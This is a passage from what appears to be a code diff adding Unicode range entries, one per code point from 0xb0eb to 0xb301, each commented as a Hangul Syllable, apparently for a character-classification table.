+ [0xb0eb, 0xb0eb], /* Hangul Syllable */
+ [0xb0ec, 0xb0ec], /* Hangul Syllable */
+ [0xb0ed, 0xb0ed], /* Hangul Syllable */
+ [0xb0ee, 0xb0ee], /* Hangul Syllable */
+ [0xb0ef, 0xb0ef], /* Hangul Syllable */
+ [0xb0f0, 0xb0f0], /* Hangul Syllable */
+ [0xb0f1, 0xb0f1], /* Hangul Syllable */
+ [0xb0f2, 0xb0f2], /* Hangul Syllable */
+ [0xb0f3, 0xb0f3], /* Hangul Syllable */
+ [0xb0f4, 0xb0f4], /* Hangul Syllable */
+ [0xb0f5, 0xb0f5], /* Hangul Syllable */
+ [0xb0f6, 0xb0f6], /* Hangul Syllable */
+ [0xb0f7, 0xb0f7], /* Hangul Syllable */
+ [0xb0f8, 0xb0f8], /* Hangul Syllable */
+ [0xb0f9, 0xb0f9], /* Hangul Syllable */
+ [0xb0fa, 0xb0fa], /* Hangul Syllable */
+ [0xb0fb, 0xb0fb], /* Hangul Syllable */
+ [0xb0fc, 0xb0fc], /* Hangul Syllable */
+ [0xb0fd, 0xb0fd], /* Hangul Syllable */
+ [0xb0fe, 0xb0fe], /* Hangul Syllable */
+ [0xb0ff, 0xb0ff], /* Hangul Syllable */
+ [0xb100, 0xb100], /* Hangul Syllable */
+ [0xb101, 0xb101], /* Hangul Syllable */
+ [0xb102, 0xb102], /* Hangul Syllable */
+ [0xb103, 0xb103], /* Hangul Syllable */
+ [0xb104, 0xb104], /* Hangul Syllable */
+ [0xb105, 0xb105], /* Hangul Syllable */
+ [0xb106, 0xb106], /* Hangul Syllable */
+ [0xb107, 0xb107], /* Hangul Syllable */
+ [0xb108, 0xb108], /* Hangul Syllable */
+ [0xb109, 0xb109], /* Hangul Syllable */
+ [0xb10a, 0xb10a], /* Hangul Syllable */
+ [0xb10b, 0xb10b], /* Hangul Syllable */
+ [0xb10c, 0xb10c], /* Hangul Syllable */
+ [0xb10d, 0xb10d], /* Hangul Syllable */
+ [0xb10e, 0xb10e], /* Hangul Syllable */
+ [0xb10f, 0xb10f], /* Hangul Syllable */
+ [0xb110, 0xb110], /* Hangul Syllable */
+ [0xb111, 0xb111], /* Hangul Syllable */
+ [0xb112, 0xb112], /* Hangul Syllable */
+ [0xb113, 0xb113], /* Hangul Syllable */
+ [0xb114, 0xb114], /* Hangul Syllable */
+ [0xb115, 0xb115], /* Hangul Syllable */
+ [0xb116, 0xb116], /* Hangul Syllable */
+ [0xb117, 0xb117], /* Hangul Syllable */
+ [0xb118, 0xb118], /* Hangul Syllable */
+ [0xb119, 0xb119], /* Hangul Syllable */
+ [0xb11a, 0xb11a], /* Hangul Syllable */
+ [0xb11b, 0xb11b], /* Hangul Syllable */
+ [0xb11c, 0xb11c], /* Hangul Syllable */
+ [0xb11d, 0xb11d], /* Hangul Syllable */
+ [0xb11e, 0xb11e], /* Hangul Syllable */
+ [0xb11f, 0xb11f], /* Hangul Syllable */
+ [0xb120, 0xb120], /* Hangul Syllable */
+ [0xb121, 0xb121], /* Hangul Syllable */
+ [0xb122, 0xb122], /* Hangul Syllable */
+ [0xb123, 0xb123], /* Hangul Syllable */
+ [0xb124, 0xb124], /* Hangul Syllable */
+ [0xb125, 0xb125], /* Hangul Syllable */
+ [0xb126, 0xb126], /* Hangul Syllable */
+ [0xb127, 0xb127], /* Hangul Syllable */
+ [0xb128, 0xb128], /* Hangul Syllable */
+ [0xb129, 0xb129], /* Hangul Syllable */
+ [0xb12a, 0xb12a], /* Hangul Syllable */
+ [0xb12b, 0xb12b], /* Hangul Syllable */
+ [0xb12c, 0xb12c], /* Hangul Syllable */
+ [0xb12d, 0xb12d], /* Hangul Syllable */
+ [0xb12e, 0xb12e], /* Hangul Syllable */
+ [0xb12f, 0xb12f], /* Hangul Syllable */
+ [0xb130, 0xb130], /* Hangul Syllable */
+ [0xb131, 0xb131], /* Hangul Syllable */
+ [0xb132, 0xb132], /* Hangul Syllable */
+ [0xb133, 0xb133], /* Hangul Syllable */
+ [0xb134, 0xb134], /* Hangul Syllable */
+ [0xb135, 0xb135], /* Hangul Syllable */
+ [0xb136, 0xb136], /* Hangul Syllable */
+ [0xb137, 0xb137], /* Hangul Syllable */
+ [0xb138, 0xb138], /* Hangul Syllable */
+ [0xb139, 0xb139], /* Hangul Syllable */
+ [0xb13a, 0xb13a], /* Hangul Syllable */
+ [0xb13b, 0xb13b], /* Hangul Syllable */
+ [0xb13c, 0xb13c], /* Hangul Syllable */
+ [0xb13d, 0xb13d], /* Hangul Syllable */
+ [0xb13e, 0xb13e], /* Hangul Syllable */
+ [0xb13f, 0xb13f], /* Hangul Syllable */
+ [0xb140, 0xb140], /* Hangul Syllable */
+ [0xb141, 0xb141], /* Hangul Syllable */
+ [0xb142, 0xb142], /* Hangul Syllable */
+ [0xb143, 0xb143], /* Hangul Syllable */
+ [0xb144, 0xb144], /* Hangul Syllable */
+ [0xb145, 0xb145], /* Hangul Syllable */
+ [0xb146, 0xb146], /* Hangul Syllable */
+ [0xb147, 0xb147], /* Hangul Syllable */
+ [0xb148, 0xb148], /* Hangul Syllable */
+ [0xb149, 0xb149], /* Hangul Syllable */
+ [0xb14a, 0xb14a], /* Hangul Syllable */
+ [0xb14b, 0xb14b], /* Hangul Syllable */
+ [0xb14c, 0xb14c], /* Hangul Syllable */
+ [0xb14d, 0xb14d], /* Hangul Syllable */
+ [0xb14e, 0xb14e], /* Hangul Syllable */
+ [0xb14f, 0xb14f], /* Hangul Syllable */
+ [0xb150, 0xb150], /* Hangul Syllable */
+ [0xb151, 0xb151], /* Hangul Syllable */
+ [0xb152, 0xb152], /* Hangul Syllable */
+ [0xb153, 0xb153], /* Hangul Syllable */
+ [0xb154, 0xb154], /* Hangul Syllable */
+ [0xb155, 0xb155], /* Hangul Syllable */
+ [0xb156, 0xb156], /* Hangul Syllable */
+ [0xb157, 0xb157], /* Hangul Syllable */
+ [0xb158, 0xb158], /* Hangul Syllable */
+ [0xb159, 0xb159], /* Hangul Syllable */
+ [0xb15a, 0xb15a], /* Hangul Syllable */
+ [0xb15b, 0xb15b], /* Hangul Syllable */
+ [0xb15c, 0xb15c], /* Hangul Syllable */
+ [0xb15d, 0xb15d], /* Hangul Syllable */
+ [0xb15e, 0xb15e], /* Hangul Syllable */
+ [0xb15f, 0xb15f], /* Hangul Syllable */
+ [0xb160, 0xb160], /* Hangul Syllable */
+ [0xb161, 0xb161], /* Hangul Syllable */
+ [0xb162, 0xb162], /* Hangul Syllable */
+ [0xb163, 0xb163], /* Hangul Syllable */
+ [0xb164, 0xb164], /* Hangul Syllable */
+ [0xb165, 0xb165], /* Hangul Syllable */
+ [0xb166, 0xb166], /* Hangul Syllable */
+ [0xb167, 0xb167], /* Hangul Syllable */
+ [0xb168, 0xb168], /* Hangul Syllable */
+ [0xb169, 0xb169], /* Hangul Syllable */
+ [0xb16a, 0xb16a], /* Hangul Syllable */
+ [0xb16b, 0xb16b], /* Hangul Syllable */
+ [0xb16c, 0xb16c], /* Hangul Syllable */
+ [0xb16d, 0xb16d], /* Hangul Syllable */
+ [0xb16e, 0xb16e], /* Hangul Syllable */
+ [0xb16f, 0xb16f], /* Hangul Syllable */
+ [0xb170, 0xb170], /* Hangul Syllable */
+ [0xb171, 0xb171], /* Hangul Syllable */
+ [0xb172, 0xb172], /* Hangul Syllable */
+ [0xb173, 0xb173], /* Hangul Syllable */
+ [0xb174, 0xb174], /* Hangul Syllable */
+ [0xb175, 0xb175], /* Hangul Syllable */
+ [0xb176, 0xb176], /* Hangul Syllable */
+ [0xb177, 0xb177], /* Hangul Syllable */
+ [0xb178, 0xb178], /* Hangul Syllable */
+ [0xb179, 0xb179], /* Hangul Syllable */
+ [0xb17a, 0xb17a], /* Hangul Syllable */
+ [0xb17b, 0xb17b], /* Hangul Syllable */
+ [0xb17c, 0xb17c], /* Hangul Syllable */
+ [0xb17d, 0xb17d], /* Hangul Syllable */
+ [0xb17e, 0xb17e], /* Hangul Syllable */
+ [0xb17f, 0xb17f], /* Hangul Syllable */
+ [0xb180, 0xb180], /* Hangul Syllable */
+ [0xb181, 0xb181], /* Hangul Syllable */
+ [0xb182, 0xb182], /* Hangul Syllable */
+ [0xb183, 0xb183], /* Hangul Syllable */
+ [0xb184, 0xb184], /* Hangul Syllable */
+ [0xb185, 0xb185], /* Hangul Syllable */
+ [0xb186, 0xb186], /* Hangul Syllable */
+ [0xb187, 0xb187], /* Hangul Syllable */
+ [0xb188, 0xb188], /* Hangul Syllable */
+ [0xb189, 0xb189], /* Hangul Syllable */
+ [0xb18a, 0xb18a], /* Hangul Syllable */
+ [0xb18b, 0xb18b], /* Hangul Syllable */
+ [0xb18c, 0xb18c], /* Hangul Syllable */
+ [0xb18d, 0xb18d], /* Hangul Syllable */
+ [0xb18e, 0xb18e], /* Hangul Syllable */
+ [0xb18f, 0xb18f], /* Hangul Syllable */
+ [0xb190, 0xb190], /* Hangul Syllable */
+ [0xb191, 0xb191], /* Hangul Syllable */
+ [0xb192, 0xb192], /* Hangul Syllable */
+ [0xb193, 0xb193], /* Hangul Syllable */
+ [0xb194, 0xb194], /* Hangul Syllable */
+ [0xb195, 0xb195], /* Hangul Syllable */
+ [0xb196, 0xb196], /* Hangul Syllable */
+ [0xb197, 0xb197], /* Hangul Syllable */
+ [0xb198, 0xb198], /* Hangul Syllable */
+ [0xb199, 0xb199], /* Hangul Syllable */
+ [0xb19a, 0xb19a], /* Hangul Syllable */
+ [0xb19b, 0xb19b], /* Hangul Syllable */
+ [0xb19c, 0xb19c], /* Hangul Syllable */
+ [0xb19d, 0xb19d], /* Hangul Syllable */
+ [0xb19e, 0xb19e], /* Hangul Syllable */
+ [0xb19f, 0xb19f], /* Hangul Syllable */
+ [0xb1a0, 0xb1a0], /* Hangul Syllable */
+ [0xb1a1, 0xb1a1], /* Hangul Syllable */
+ [0xb1a2, 0xb1a2], /* Hangul Syllable */
+ [0xb1a3, 0xb1a3], /* Hangul Syllable */
+ [0xb1a4, 0xb1a4], /* Hangul Syllable */
+ [0xb1a5, 0xb1a5], /* Hangul Syllable */
+ [0xb1a6, 0xb1a6], /* Hangul Syllable */
+ [0xb1a7, 0xb1a7], /* Hangul Syllable */
+ [0xb1a8, 0xb1a8], /* Hangul Syllable */
+ [0xb1a9, 0xb1a9], /* Hangul Syllable */
+ [0xb1aa, 0xb1aa], /* Hangul Syllable */
+ [0xb1ab, 0xb1ab], /* Hangul Syllable */
+ [0xb1ac, 0xb1ac], /* Hangul Syllable */
+ [0xb1ad, 0xb1ad], /* Hangul Syllable */
+ [0xb1ae, 0xb1ae], /* Hangul Syllable */
+ [0xb1af, 0xb1af], /* Hangul Syllable */
+ [0xb1b0, 0xb1b0], /* Hangul Syllable */
+ [0xb1b1, 0xb1b1], /* Hangul Syllable */
+ [0xb1b2, 0xb1b2], /* Hangul Syllable */
+ [0xb1b3, 0xb1b3], /* Hangul Syllable */
+ [0xb1b4, 0xb1b4], /* Hangul Syllable */
+ [0xb1b5, 0xb1b5], /* Hangul Syllable */
+ [0xb1b6, 0xb1b6], /* Hangul Syllable */
+ [0xb1b7, 0xb1b7], /* Hangul Syllable */
+ [0xb1b8, 0xb1b8], /* Hangul Syllable */
+ [0xb1b9, 0xb1b9], /* Hangul Syllable */
+ [0xb1ba, 0xb1ba], /* Hangul Syllable */
+ [0xb1bb, 0xb1bb], /* Hangul Syllable */
+ [0xb1bc, 0xb1bc], /* Hangul Syllable */
+ [0xb1bd, 0xb1bd], /* Hangul Syllable */
+ [0xb1be, 0xb1be], /* Hangul Syllable */
+ [0xb1bf, 0xb1bf], /* Hangul Syllable */
+ [0xb1c0, 0xb1c0], /* Hangul Syllable */
+ [0xb1c1, 0xb1c1], /* Hangul Syllable */
+ [0xb1c2, 0xb1c2], /* Hangul Syllable */
+ [0xb1c3, 0xb1c3], /* Hangul Syllable */
+ [0xb1c4, 0xb1c4], /* Hangul Syllable */
+ [0xb1c5, 0xb1c5], /* Hangul Syllable */
+ [0xb1c6, 0xb1c6], /* Hangul Syllable */
+ [0xb1c7, 0xb1c7], /* Hangul Syllable */
+ [0xb1c8, 0xb1c8], /* Hangul Syllable */
+ [0xb1c9, 0xb1c9], /* Hangul Syllable */
+ [0xb1ca, 0xb1ca], /* Hangul Syllable */
+ [0xb1cb, 0xb1cb], /* Hangul Syllable */
+ [0xb1cc, 0xb1cc], /* Hangul Syllable */
+ [0xb1cd, 0xb1cd], /* Hangul Syllable */
+ [0xb1ce, 0xb1ce], /* Hangul Syllable */
+ [0xb1cf, 0xb1cf], /* Hangul Syllable */
+ [0xb1d0, 0xb1d0], /* Hangul Syllable */
+ [0xb1d1, 0xb1d1], /* Hangul Syllable */
+ [0xb1d2, 0xb1d2], /* Hangul Syllable */
+ [0xb1d3, 0xb1d3], /* Hangul Syllable */
+ [0xb1d4, 0xb1d4], /* Hangul Syllable */
+ [0xb1d5, 0xb1d5], /* Hangul Syllable */
+ [0xb1d6, 0xb1d6], /* Hangul Syllable */
+ [0xb1d7, 0xb1d7], /* Hangul Syllable */
+ [0xb1d8, 0xb1d8], /* Hangul Syllable */
+ [0xb1d9, 0xb1d9], /* Hangul Syllable */
+ [0xb1da, 0xb1da], /* Hangul Syllable */
+ [0xb1db, 0xb1db], /* Hangul Syllable */
+ [0xb1dc, 0xb1dc], /* Hangul Syllable */
+ [0xb1dd, 0xb1dd], /* Hangul Syllable */
+ [0xb1de, 0xb1de], /* Hangul Syllable */
+ [0xb1df, 0xb1df], /* Hangul Syllable */
+ [0xb1e0, 0xb1e0], /* Hangul Syllable */
+ [0xb1e1, 0xb1e1], /* Hangul Syllable */
+ [0xb1e2, 0xb1e2], /* Hangul Syllable */
+ [0xb1e3, 0xb1e3], /* Hangul Syllable */
+ [0xb1e4, 0xb1e4], /* Hangul Syllable */
+ [0xb1e5, 0xb1e5], /* Hangul Syllable */
+ [0xb1e6, 0xb1e6], /* Hangul Syllable */
+ [0xb1e7, 0xb1e7], /* Hangul Syllable */
+ [0xb1e8, 0xb1e8], /* Hangul Syllable */
+ [0xb1e9, 0xb1e9], /* Hangul Syllable */
+ [0xb1ea, 0xb1ea], /* Hangul Syllable */
+ [0xb1eb, 0xb1eb], /* Hangul Syllable */
+ [0xb1ec, 0xb1ec], /* Hangul Syllable */
+ [0xb1ed, 0xb1ed], /* Hangul Syllable */
+ [0xb1ee, 0xb1ee], /* Hangul Syllable */
+ [0xb1ef, 0xb1ef], /* Hangul Syllable */
+ [0xb1f0, 0xb1f0], /* Hangul Syllable */
+ [0xb1f1, 0xb1f1], /* Hangul Syllable */
+ [0xb1f2, 0xb1f2], /* Hangul Syllable */
+ [0xb1f3, 0xb1f3], /* Hangul Syllable */
+ [0xb1f4, 0xb1f4], /* Hangul Syllable */
+ [0xb1f5, 0xb1f5], /* Hangul Syllable */
+ [0xb1f6, 0xb1f6], /* Hangul Syllable */
+ [0xb1f7, 0xb1f7], /* Hangul Syllable */
+ [0xb1f8, 0xb1f8], /* Hangul Syllable */
+ [0xb1f9, 0xb1f9], /* Hangul Syllable */
+ [0xb1fa, 0xb1fa], /* Hangul Syllable */
+ [0xb1fb, 0xb1fb], /* Hangul Syllable */
+ [0xb1fc, 0xb1fc], /* Hangul Syllable */
+ [0xb1fd, 0xb1fd], /* Hangul Syllable */
+ [0xb1fe, 0xb1fe], /* Hangul Syllable */
+ [0xb1ff, 0xb1ff], /* Hangul Syllable */
+ [0xb200, 0xb200], /* Hangul Syllable */
+ [0xb201, 0xb201], /* Hangul Syllable */
+ [0xb202, 0xb202], /* Hangul Syllable */
+ [0xb203, 0xb203], /* Hangul Syllable */
+ [0xb204, 0xb204], /* Hangul Syllable */
+ [0xb205, 0xb205], /* Hangul Syllable */
+ [0xb206, 0xb206], /* Hangul Syllable */
+ [0xb207, 0xb207], /* Hangul Syllable */
+ [0xb208, 0xb208], /* Hangul Syllable */
+ [0xb209, 0xb209], /* Hangul Syllable */
+ [0xb20a, 0xb20a], /* Hangul Syllable */
+ [0xb20b, 0xb20b], /* Hangul Syllable */
+ [0xb20c, 0xb20c], /* Hangul Syllable */
+ [0xb20d, 0xb20d], /* Hangul Syllable */
+ [0xb20e, 0xb20e], /* Hangul Syllable */
+ [0xb20f, 0xb20f], /* Hangul Syllable */
+ [0xb210, 0xb210], /* Hangul Syllable */
+ [0xb211, 0xb211], /* Hangul Syllable */
+ [0xb212, 0xb212], /* Hangul Syllable */
+ [0xb213, 0xb213], /* Hangul Syllable */
+ [0xb214, 0xb214], /* Hangul Syllable */
+ [0xb215, 0xb215], /* Hangul Syllable */
+ [0xb216, 0xb216], /* Hangul Syllable */
+ [0xb217, 0xb217], /* Hangul Syllable */
+ [0xb218, 0xb218], /* Hangul Syllable */
+ [0xb219, 0xb219], /* Hangul Syllable */
+ [0xb21a, 0xb21a], /* Hangul Syllable */
+ [0xb21b, 0xb21b], /* Hangul Syllable */
+ [0xb21c, 0xb21c], /* Hangul Syllable */
+ [0xb21d, 0xb21d], /* Hangul Syllable */
+ [0xb21e, 0xb21e], /* Hangul Syllable */
+ [0xb21f, 0xb21f], /* Hangul Syllable */
+ [0xb220, 0xb220], /* Hangul Syllable */
+ [0xb221, 0xb221], /* Hangul Syllable */
+ [0xb222, 0xb222], /* Hangul Syllable */
+ [0xb223, 0xb223], /* Hangul Syllable */
+ [0xb224, 0xb224], /* Hangul Syllable */
+ [0xb225, 0xb225], /* Hangul Syllable */
+ [0xb226, 0xb226], /* Hangul Syllable */
+ [0xb227, 0xb227], /* Hangul Syllable */
+ [0xb228, 0xb228], /* Hangul Syllable */
+ [0xb229, 0xb229], /* Hangul Syllable */
+ [0xb22a, 0xb22a], /* Hangul Syllable */
+ [0xb22b, 0xb22b], /* Hangul Syllable */
+ [0xb22c, 0xb22c], /* Hangul Syllable */
+ [0xb22d, 0xb22d], /* Hangul Syllable */
+ [0xb22e, 0xb22e], /* Hangul Syllable */
+ [0xb22f, 0xb22f], /* Hangul Syllable */
+ [0xb230, 0xb230], /* Hangul Syllable */
+ [0xb231, 0xb231], /* Hangul Syllable */
+ [0xb232, 0xb232], /* Hangul Syllable */
+ [0xb233, 0xb233], /* Hangul Syllable */
+ [0xb234, 0xb234], /* Hangul Syllable */
+ [0xb235, 0xb235], /* Hangul Syllable */
+ [0xb236, 0xb236], /* Hangul Syllable */
+ [0xb237, 0xb237], /* Hangul Syllable */
+ [0xb238, 0xb238], /* Hangul Syllable */
+ [0xb239, 0xb239], /* Hangul Syllable */
+ [0xb23a, 0xb23a], /* Hangul Syllable */
+ [0xb23b, 0xb23b], /* Hangul Syllable */
+ [0xb23c, 0xb23c], /* Hangul Syllable */
+ [0xb23d, 0xb23d], /* Hangul Syllable */
+ [0xb23e, 0xb23e], /* Hangul Syllable */
+ [0xb23f, 0xb23f], /* Hangul Syllable */
+ [0xb240, 0xb240], /* Hangul Syllable */
+ [0xb241, 0xb241], /* Hangul Syllable */
+ [0xb242, 0xb242], /* Hangul Syllable */
+ [0xb243, 0xb243], /* Hangul Syllable */
+ [0xb244, 0xb244], /* Hangul Syllable */
+ [0xb245, 0xb245], /* Hangul Syllable */
+ [0xb246, 0xb246], /* Hangul Syllable */
+ [0xb247, 0xb247], /* Hangul Syllable */
+ [0xb248, 0xb248], /* Hangul Syllable */
+ [0xb249, 0xb249], /* Hangul Syllable */
+ [0xb24a, 0xb24a], /* Hangul Syllable */
+ [0xb24b, 0xb24b], /* Hangul Syllable */
+ [0xb24c, 0xb24c], /* Hangul Syllable */
+ [0xb24d, 0xb24d], /* Hangul Syllable */
+ [0xb24e, 0xb24e], /* Hangul Syllable */
+ [0xb24f, 0xb24f], /* Hangul Syllable */
+ [0xb250, 0xb250], /* Hangul Syllable */
+ [0xb251, 0xb251], /* Hangul Syllable */
+ [0xb252, 0xb252], /* Hangul Syllable */
+ [0xb253, 0xb253], /* Hangul Syllable */
+ [0xb254, 0xb254], /* Hangul Syllable */
+ [0xb255, 0xb255], /* Hangul Syllable */
+ [0xb256, 0xb256], /* Hangul Syllable */
+ [0xb257, 0xb257], /* Hangul Syllable */
+ [0xb258, 0xb258], /* Hangul Syllable */
+ [0xb259, 0xb259], /* Hangul Syllable */
+ [0xb25a, 0xb25a], /* Hangul Syllable */
+ [0xb25b, 0xb25b], /* Hangul Syllable */
+ [0xb25c, 0xb25c], /* Hangul Syllable */
+ [0xb25d, 0xb25d], /* Hangul Syllable */
+ [0xb25e, 0xb25e], /* Hangul Syllable */
+ [0xb25f, 0xb25f], /* Hangul Syllable */
+ [0xb260, 0xb260], /* Hangul Syllable */
+ [0xb261, 0xb261], /* Hangul Syllable */
+ [0xb262, 0xb262], /* Hangul Syllable */
+ [0xb263, 0xb263], /* Hangul Syllable */
+ [0xb264, 0xb264], /* Hangul Syllable */
+ [0xb265, 0xb265], /* Hangul Syllable */
+ [0xb266, 0xb266], /* Hangul Syllable */
+ [0xb267, 0xb267], /* Hangul Syllable */
+ [0xb268, 0xb268], /* Hangul Syllable */
+ [0xb269, 0xb269], /* Hangul Syllable */
+ [0xb26a, 0xb26a], /* Hangul Syllable */
+ [0xb26b, 0xb26b], /* Hangul Syllable */
+ [0xb26c, 0xb26c], /* Hangul Syllable */
+ [0xb26d, 0xb26d], /* Hangul Syllable */
+ [0xb26e, 0xb26e], /* Hangul Syllable */
+ [0xb26f, 0xb26f], /* Hangul Syllable */
+ [0xb270, 0xb270], /* Hangul Syllable */
+ [0xb271, 0xb271], /* Hangul Syllable */
+ [0xb272, 0xb272], /* Hangul Syllable */
+ [0xb273, 0xb273], /* Hangul Syllable */
+ [0xb274, 0xb274], /* Hangul Syllable */
+ [0xb275, 0xb275], /* Hangul Syllable */
+ [0xb276, 0xb276], /* Hangul Syllable */
+ [0xb277, 0xb277], /* Hangul Syllable */
+ [0xb278, 0xb278], /* Hangul Syllable */
+ [0xb279, 0xb279], /* Hangul Syllable */
+ [0xb27a, 0xb27a], /* Hangul Syllable */
+ [0xb27b, 0xb27b], /* Hangul Syllable */
+ [0xb27c, 0xb27c], /* Hangul Syllable */
+ [0xb27d, 0xb27d], /* Hangul Syllable */
+ [0xb27e, 0xb27e], /* Hangul Syllable */
+ [0xb27f, 0xb27f], /* Hangul Syllable */
+ [0xb280, 0xb280], /* Hangul Syllable */
+ [0xb281, 0xb281], /* Hangul Syllable */
+ [0xb282, 0xb282], /* Hangul Syllable */
+ [0xb283, 0xb283], /* Hangul Syllable */
+ [0xb284, 0xb284], /* Hangul Syllable */
+ [0xb285, 0xb285], /* Hangul Syllable */
+ [0xb286, 0xb286], /* Hangul Syllable */
+ [0xb287, 0xb287], /* Hangul Syllable */
+ [0xb288, 0xb288], /* Hangul Syllable */
+ [0xb289, 0xb289], /* Hangul Syllable */
+ [0xb28a, 0xb28a], /* Hangul Syllable */
+ [0xb28b, 0xb28b], /* Hangul Syllable */
+ [0xb28c, 0xb28c], /* Hangul Syllable */
+ [0xb28d, 0xb28d], /* Hangul Syllable */
+ [0xb28e, 0xb28e], /* Hangul Syllable */
+ [0xb28f, 0xb28f], /* Hangul Syllable */
+ [0xb290, 0xb290], /* Hangul Syllable */
+ [0xb291, 0xb291], /* Hangul Syllable */
+ [0xb292, 0xb292], /* Hangul Syllable */
+ [0xb293, 0xb293], /* Hangul Syllable */
+ [0xb294, 0xb294], /* Hangul Syllable */
+ [0xb295, 0xb295], /* Hangul Syllable */
+ [0xb296, 0xb296], /* Hangul Syllable */
+ [0xb297, 0xb297], /* Hangul Syllable */
+ [0xb298, 0xb298], /* Hangul Syllable */
+ [0xb299, 0xb299], /* Hangul Syllable */
+ [0xb29a, 0xb29a], /* Hangul Syllable */
+ [0xb29b, 0xb29b], /* Hangul Syllable */
+ [0xb29c, 0xb29c], /* Hangul Syllable */
+ [0xb29d, 0xb29d], /* Hangul Syllable */
+ [0xb29e, 0xb29e], /* Hangul Syllable */
+ [0xb29f, 0xb29f], /* Hangul Syllable */
+ [0xb2a0, 0xb2a0], /* Hangul Syllable */
+ [0xb2a1, 0xb2a1], /* Hangul Syllable */
+ [0xb2a2, 0xb2a2], /* Hangul Syllable */
+ [0xb2a3, 0xb2a3], /* Hangul Syllable */
+ [0xb2a4, 0xb2a4], /* Hangul Syllable */
+ [0xb2a5, 0xb2a5], /* Hangul Syllable */
+ [0xb2a6, 0xb2a6], /* Hangul Syllable */
+ [0xb2a7, 0xb2a7], /* Hangul Syllable */
+ [0xb2a8, 0xb2a8], /* Hangul Syllable */
+ [0xb2a9, 0xb2a9], /* Hangul Syllable */
+ [0xb2aa, 0xb2aa], /* Hangul Syllable */
+ [0xb2ab, 0xb2ab], /* Hangul Syllable */
+ [0xb2ac, 0xb2ac], /* Hangul Syllable */
+ [0xb2ad, 0xb2ad], /* Hangul Syllable */
+ [0xb2ae, 0xb2ae], /* Hangul Syllable */
+ [0xb2af, 0xb2af], /* Hangul Syllable */
+ [0xb2b0, 0xb2b0], /* Hangul Syllable */
+ [0xb2b1, 0xb2b1], /* Hangul Syllable */
+ [0xb2b2, 0xb2b2], /* Hangul Syllable */
+ [0xb2b3, 0xb2b3], /* Hangul Syllable */
+ [0xb2b4, 0xb2b4], /* Hangul Syllable */
+ [0xb2b5, 0xb2b5], /* Hangul Syllable */
+ [0xb2b6, 0xb2b6], /* Hangul Syllable */
+ [0xb2b7, 0xb2b7], /* Hangul Syllable */
+ [0xb2b8, 0xb2b8], /* Hangul Syllable */
+ [0xb2b9, 0xb2b9], /* Hangul Syllable */
+ [0xb2ba, 0xb2ba], /* Hangul Syllable */
+ [0xb2bb, 0xb2bb], /* Hangul Syllable */
+ [0xb2bc, 0xb2bc], /* Hangul Syllable */
+ [0xb2bd, 0xb2bd], /* Hangul Syllable */
+ [0xb2be, 0xb2be], /* Hangul Syllable */
+ [0xb2bf, 0xb2bf], /* Hangul Syllable */
+ [0xb2c0, 0xb2c0], /* Hangul Syllable */
+ [0xb2c1, 0xb2c1], /* Hangul Syllable */
+ [0xb2c2, 0xb2c2], /* Hangul Syllable */
+ [0xb2c3, 0xb2c3], /* Hangul Syllable */
+ [0xb2c4, 0xb2c4], /* Hangul Syllable */
+ [0xb2c5, 0xb2c5], /* Hangul Syllable */
+ [0xb2c6, 0xb2c6], /* Hangul Syllable */
+ [0xb2c7, 0xb2c7], /* Hangul Syllable */
+ [0xb2c8, 0xb2c8], /* Hangul Syllable */
+ [0xb2c9, 0xb2c9], /* Hangul Syllable */
+ [0xb2ca, 0xb2ca], /* Hangul Syllable */
+ [0xb2cb, 0xb2cb], /* Hangul Syllable */
+ [0xb2cc, 0xb2cc], /* Hangul Syllable */
+ [0xb2cd, 0xb2cd], /* Hangul Syllable */
+ [0xb2ce, 0xb2ce], /* Hangul Syllable */
+ [0xb2cf, 0xb2cf], /* Hangul Syllable */
+ [0xb2d0, 0xb2d0], /* Hangul Syllable */
+ [0xb2d1, 0xb2d1], /* Hangul Syllable */
+ [0xb2d2, 0xb2d2], /* Hangul Syllable */
+ [0xb2d3, 0xb2d3], /* Hangul Syllable */
+ [0xb2d4, 0xb2d4], /* Hangul Syllable */
+ [0xb2d5, 0xb2d5], /* Hangul Syllable */
+ [0xb2d6, 0xb2d6], /* Hangul Syllable */
+ [0xb2d7, 0xb2d7], /* Hangul Syllable */
+ [0xb2d8, 0xb2d8], /* Hangul Syllable */
+ [0xb2d9, 0xb2d9], /* Hangul Syllable */
+ [0xb2da, 0xb2da], /* Hangul Syllable */
+ [0xb2db, 0xb2db], /* Hangul Syllable */
+ [0xb2dc, 0xb2dc], /* Hangul Syllable */
+ [0xb2dd, 0xb2dd], /* Hangul Syllable */
+ [0xb2de, 0xb2de], /* Hangul Syllable */
+ [0xb2df, 0xb2df], /* Hangul Syllable */
+ [0xb2e0, 0xb2e0], /* Hangul Syllable */
+ [0xb2e1, 0xb2e1], /* Hangul Syllable */
+ [0xb2e2, 0xb2e2], /* Hangul Syllable */
+ [0xb2e3, 0xb2e3], /* Hangul Syllable */
+ [0xb2e4, 0xb2e4], /* Hangul Syllable */
+ [0xb2e5, 0xb2e5], /* Hangul Syllable */
+ [0xb2e6, 0xb2e6], /* Hangul Syllable */
+ [0xb2e7, 0xb2e7], /* Hangul Syllable */
+ [0xb2e8, 0xb2e8], /* Hangul Syllable */
+ [0xb2e9, 0xb2e9], /* Hangul Syllable */
+ [0xb2ea, 0xb2ea], /* Hangul Syllable */
+ [0xb2eb, 0xb2eb], /* Hangul Syllable */
+ [0xb2ec, 0xb2ec], /* Hangul Syllable */
+ [0xb2ed, 0xb2ed], /* Hangul Syllable */
+ [0xb2ee, 0xb2ee], /* Hangul Syllable */
+ [0xb2ef, 0xb2ef], /* Hangul Syllable */
+ [0xb2f0, 0xb2f0], /* Hangul Syllable */
+ [0xb2f1, 0xb2f1], /* Hangul Syllable */
+ [0xb2f2, 0xb2f2], /* Hangul Syllable */
+ [0xb2f3, 0xb2f3], /* Hangul Syllable */
+ [0xb2f4, 0xb2f4], /* Hangul Syllable */
+ [0xb2f5, 0xb2f5], /* Hangul Syllable */
+ [0xb2f6, 0xb2f6], /* Hangul Syllable */
+ [0xb2f7, 0xb2f7], /* Hangul Syllable */
+ [0xb2f8, 0xb2f8], /* Hangul Syllable */
+ [0xb2f9, 0xb2f9], /* Hangul Syllable */
+ [0xb2fa, 0xb2fa], /* Hangul Syllable */
+ [0xb2fb, 0xb2fb], /* Hangul Syllable */
+ [0xb2fc, 0xb2fc], /* Hangul Syllable */
+ [0xb2fd, 0xb2fd], /* Hangul Syllable */
+ [0xb2fe, 0xb2fe], /* Hangul Syllable */
+ [0xb2ff, 0xb2ff], /* Hangul Syllable */
+ [0xb300, 0xb300], /* Hangul Syllable */
+ [0xb301, 0xb301], /* Hangul Syllable */
